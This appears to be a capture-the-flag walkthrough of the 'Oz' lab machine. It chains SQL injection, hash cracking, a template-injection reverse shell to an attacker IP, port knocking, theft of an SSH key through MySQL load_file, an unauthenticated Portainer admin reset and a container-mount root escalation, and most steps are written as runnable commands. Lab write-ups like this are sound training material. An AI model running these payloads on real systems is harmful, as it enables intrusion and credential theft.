Oz

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.96 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 10 13:10:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Wed May 10 13:10:51 2023 -- 1 IP address (1 host up) scanned in 26.58 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed May 10 13:11:13 2023 as: nmap -sCV -p80,8080 -Pn -n -oN targeted 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 10 13:11:25 2023 -- 1 IP address (1 host up) scanned in 11.87 seconds
There is an API on port 80.
curl http://10.10.10.96/
<title>OZ webapi</title>
<h3>Please register a username!</h3>
With wfuzz, we could see that there is a directory called users
.
wfuzz -c --hw=1,4 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000188: 200 3 L 6 W 79 Ch "users"
...
Inside the users directory, we'll see the admin
directory available. We'll also see that the '
character gives a 500 response.
wfuzz -c --hh=5 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/users/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/users/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000245: 200 1 L 1 W 21 Ch "admin"
000002010: 500 4 L 40 W 291 Ch "'"
The /admin
directory shows the username admin
.
curl -s "http://10.10.10.96/users/admin" | jq
{
"username": "admin"
}
The '
character breaks the server.
curl "http://10.10.10.96/users/'"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Exploitation
With a simple SQL injection payload, we are able to get another user.
curl -s "http://10.10.10.96/users/'%20or%201=1--%20-"
{"username":"dorthi"}
Let's enumerate the database. First, get the name of the database.
curl -s "http://10.10.10.96/users/'%20union%20select%20database()--%20-" | jq '.username'
"ozdb"
Now, check which are its tables.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ozdb'--%20-" | jq '.username'
"tickets_gbw,users_gbw"
Let's get the columns of the users_gbw
table.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ozdb'%20and%20table_name='users_gbw'--%20-" | jq '.username'
"id,username,password"
Finally, dump the entire users_gbw
table.
for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done
tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ
null
null
null
null
null
Let's try to break these hashes. Put them into the hashes
file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256
. But it is very slow.
john -w=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.01% (ETA: 23:24:54) 0g/s 834.7p/s 5078c/s 5078C/s clover..athena
...
Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.
hashcat --example-hashes | grep ': PBKDF2-HMAC-SHA256' -C 10
...
Hash mode #10900
Name................: PBKDF2-HMAC-SHA256
Category............: Generic KDF
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
As the format of the has is different, we need to tweak the hashes that we have to make it work.
cat hashes | sed 's/pbkdf2-//g' | tr "$" ":" | sed 's/::/:/' | sponge
Finally, break the hashes with hashcat.
hashcat -m 10900 -a 0 hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
...
sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY:wizardofoz22
...
This looks like the password of wizard.oz
.The website on port 8080 shows a login page. Let's use the credentials we got.

Inside, we'll see twelve tickets.

The eighth ticket says that there might be SSH keys in /home/dorthi/
.

From the +
button, we could add a new ticket. Try to add a new ticket, intercept the request with BurpSuite, and send it to the repeater.

Our input appears in the response. We could try to inject SSTI payloads, such as python code.

Time to get a shell. First, let's set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Using the following payload, we'll get access as root to a machine called tix-app
, which looks like a container.
{{ self.init.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.6 4444 >/tmp/f').read() }}

Listening on 0.0.0.0 4444
Connection received on 10.10.10.96 45436
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # hostname
tix-app
/app # hostname -i
10.100.10.2
Privilege Escalation
In the root directory, there is one folder called .secret
, and another one called containers.
ls -la /
total 72
drwxr-xr-x 53 root root 4096 Sep 22 2022 .
drwxr-xr-x 53 root root 4096 Sep 22 2022 ..
-rwxr-xr-x 1 root root 0 May 15 2018 .dockerenv
drwxr-xr-x 2 root root 4096 Apr 24 2018 .secret
drwxr-xr-x 5 root root 4096 Sep 22 2022 app
drwxr-xr-x 2 root root 4096 Sep 22 2022 bin
drwxr-xr-x 3 root root 4096 Sep 22 2022 containers
drwxr-xr-x 5 root root 340 May 10 19:34 dev
drwxr-xr-x 26 root root 4096 Sep 22 2022 etc
drwxr-xr-x 2 root root 4096 Sep 22 2022 home
drwxr-xr-x 9 root root 4096 Sep 22 2022 lib
lrwxrwxrwx 1 root root 12 Jan 9 2018 linuxrc -> /bin/busybox
drwxr-xr-x 5 root root 4096 Sep 22 2022 media
drwxr-xr-x 2 root root 4096 Sep 22 2022 mnt
dr-xr-xr-x 166 root root 0 May 10 19:34 proc
drwx------ 3 root root 4096 Sep 22 2022 root
drwxr-xr-x 2 root root 4096 Sep 22 2022 run
drwxr-xr-x 2 root root 4096 Sep 22 2022 sbin
drwxr-xr-x 2 root root 4096 Sep 22 2022 srv
dr-xr-xr-x 13 root root 0 May 10 19:34 sys
drwxrwxrwt 2 root root 4096 May 11 08:03 tmp
drwxr-xr-x 24 root root 4096 Sep 22 2022 usr
drwxr-xr-x 17 root root 4096 Sep 22 2022 var
The .secret directory has a file called knockd.conf
.
ls -la /.secret
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
This file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 09:00 GMT
Nmap scan report for 10.10.10.96
Host is up (0.039s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
The containers
directory has another folder inside called database
.
ls -la /containers
total 12
drwxr-xr-x 3 root root 4096 Sep 22 2022 .
drwxr-xr-x 53 root root 4096 Sep 22 2022 ..
drwxr-xr-x 3 root root 4096 May 25 2018 database
Inside, there is a bash script called start.sh
.
ls -la /containers/database
total 28
drwxr-xr-x 3 root root 4096 May 25 2018 .
drwxr-xr-x 3 root root 4096 Sep 22 2022 ..
-rw-r--r-- 1 root root 96 Apr 23 2018 Dockerfile
-rw-r--r-- 1 root root 5292 Apr 23 2018 my.cnf
drwxr-xr-x 2 root root 4096 Apr 25 2018 sshkeys
-rwxr--r-- 1 root root 418 May 25 2018 start.sh
Which contains credentials for a database hosted in 10.100.10.4
.
cat /containers/database/start.sh
#!/bin/bash
docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
-e MYSQL_DATABASE=ozdb \
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5
Let's try to connect to the remote database.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"
Database
information_schema
mysql
ozdb
performance_schema
The credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi
, which might have some SSH keys.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
...
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----
Now that we have an SSH private key for dorthi
, let's log into the machine. Enter the dorthi
password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa
Enter passphrase for key 'id_rsa': N0Pl4c3L1keH0me
dorthi@oz:~$ whoami
dorthi
dorthi@oz:~$ hostname
oz
dorthi@oz:~$ cat user.txt
18e88d03f2d172494abf06eed56d07fe
If we check the sudo privileges, we'll see that we can list and inspect docker networks.
sudo -l
Matching Defaults entries for dorthi on oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls
There a are a few networks configured.
sudo docker network ls
NETWORK ID NAME DRIVER SCOPE
3fc824b7c586 bridge bridge local
49c1b0c16723 host host local
3ccc2aa17acf none null local
48148eb6a512 prodnet bridge local
The bridge network has one container with the IP address 172.17.0.2
hosting a portainer-1.11.1
server.
sudo docker network inspect bridge
[
{
"Name": "bridge",
"Id": "3fc824b7c58643505df31dd50d4432209a1a23459b1c39c2e877ad4fdb653195",
"Created": "2023-05-10T14:34:00.499850853-05:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.0.1"
}
]
},
"Internal": false,
"Attachable": false,
"Containers": {
"e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
"Name": "portainer-1.11.1",
"EndpointID": "9d66d01243d11dcc57b1dfe5d398b4f2cf75f5e8033017f7c42fd354e7502298",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
},
"Options": {
"com.docker.network.bridge.default_bridge": "true",
"com.docker.network.bridge.enable_icc": "true",
"com.docker.network.bridge.enable_ip_masquerade": "true",
"com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
"com.docker.network.bridge.name": "docker0",
"com.docker.network.driver.mtu": "1500"
},
"Labels": {}
}
]
The server has nmap. Let's use it to scan the ports of the portainer server.
nmap -p- --min-rate 5000 -n -Pn 172.17.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2023-05-11 04:26 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
9000/tcp open cslistener
Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds
Now do port forwarding of that port.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000
The portainer server shows a login page.

I found this vulnerability, which allow any unauthenticated user to change the admin password. We just need to make a POST request with the new password.
curl -S -X POST 'http://localhost:9000/api/users/admin/init' -d '{"password": "alfa8sa"}' -H "Content-Type: application/json"
Now we are able to enter the server as admin
.

There is a way to gain access to the main server as root. First, we need to check the image list.

I'll use the python:2.7-alpine
image. Now, go to containers
.

Create a new container called privEsc
with the python:2.7-alpine
image.

Select TTY as the console.

Then, create a volume that mounts the entire file system of the parent system to the /rootfs
directory of the container.

Now, access the privEsc
container, and start a console.

We have access to the container as root, but there is a directory called rootfs
in /
.

Give SUID permissions to the /bin/bash
binary inside rootfs
.

Finally, back in the SSH console, get a shell as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
bash-4.3# whoami
root
bash-4.3# hostname
oz
bash-4.3# hostname -I
10.10.10.96 10.100.10.1 172.17.0.1
bash-4.3# cat /root/root.txt
ef7cd4b76b9d19d3bb6a6d7a0afe31f0
Last updated
Was this helpful?